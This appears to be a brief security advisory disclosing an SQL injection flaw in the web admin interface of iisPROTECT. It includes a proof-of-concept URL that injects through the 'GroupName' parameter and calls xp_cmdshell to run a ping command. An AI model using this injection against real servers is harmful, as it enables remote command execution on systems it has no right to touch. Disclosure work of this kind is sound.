Intro 
==== 
>From vendor site: "iisPROTECT is a high performance user authentication, 
password protection and member system". 
iisPROTECT has a webbased admin interface, the interface lacks sanitising on 
almost every variable. Successfully exploited some of the variables can be 
used to inject and execute SQL statements. 
iisPROTECT uses either a MS access file or a MS SQL-server. In the testing 
environment the MS SQL-server solution is chosen.  
 
 
Exploit (Proof of Concept) 
=================== 
The following URL exploits the "GroupName" variable and uses the stored 
procedure "xp_cmdshell" to execute the command "ping": 
http://x.x.x.x/iisprotect/admin/SiteAdmin.ASP?V_SiteName=&V_FirstTab=Groups&V_SecondTab=All&GroupName=gyrniff_gr';exec%20master..xp_cmdshell'ping%2010.10.10.11';-- 
 
Fix 
=== 
Vendor has fixed this problem.
